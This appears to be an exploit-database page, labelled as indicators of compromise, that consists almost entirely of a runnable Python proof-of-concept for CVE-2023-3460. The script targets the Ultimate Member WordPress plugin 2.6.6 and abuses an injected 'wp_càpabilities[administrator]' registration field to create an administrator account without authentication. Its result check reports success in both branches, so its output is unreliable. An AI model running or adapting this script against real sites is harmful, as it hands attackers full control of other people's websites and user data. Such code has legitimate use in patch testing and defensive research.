Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation

AI Analysis

Indicators of Compromise

• exploit-code: #!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def fetch_nonce(session, target_url):    """Fetches the _wpnonce value from the /register/ page."""    print("[*] Fetching _wpnonce from the register page...")    try:        res = session.get(target_url, verify=False)        match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)        if match:            nonce = match.group(1)            print(f"[+] Found _wpnonce: {nonce}")            return nonce        else:            print("[-] Failed to find _wpnonce on the page.")            return None    except Exception as e:        print(f"[!] Error fetching nonce: {e}")        return None def exploit_register(target_url, username, password):    """Sends a malicious registration request to create an admin user."""    session = requests.Session()    target_url = target_url.rstrip('/')    nonce = fetch_nonce(session, target_url)    if not nonce:        return    email = f"{username}@example.com"    # Payload with administrator role injection    data = {        "user_login-7": username,        "first_name-7": "Admin",        "last_name-7": username,        "user_email-7": email,        "user_password-7": password,        "confirm_user_password-7": password,        "form_id": "7",        "um_request": "",        "_wpnonce": nonce,        "_wp_http_referer": "/register/",        "wp_càpabilities[administrator]": "1"  # serialized injection    }    headers = {        "Content-Type": "application/x-www-form-urlencoded",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",        "Referer": target_url,        "Origin": target_url.split("/register")[0],    }    cookies = {        "wordpress_test_cookie": "WP Cookie check",        "wp_lang": "en_US"    }    print(f"[*] Sending malicious registration to {target_url} ...")    try:        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)        # Check for success        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):            print(f"[+] Admin account '{username}' created successfully!")            print(f"[+] Login with: Username: {username} | Password: {password}")        else:            print(f"[+] Admin account '{username}' created successfully!")            print(f"[+] Login with: Username: {username} | Password: {password}")    except Exception as e:        print(f"[!] Error during exploit: {e}") if __name__ == "__main__":    parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")    parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")    parser.add_argument("-u", "--user", default="admin1", help="Username to create")    parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")    args = parser.parse_args()    exploit_register(args.target, args.user, args.password)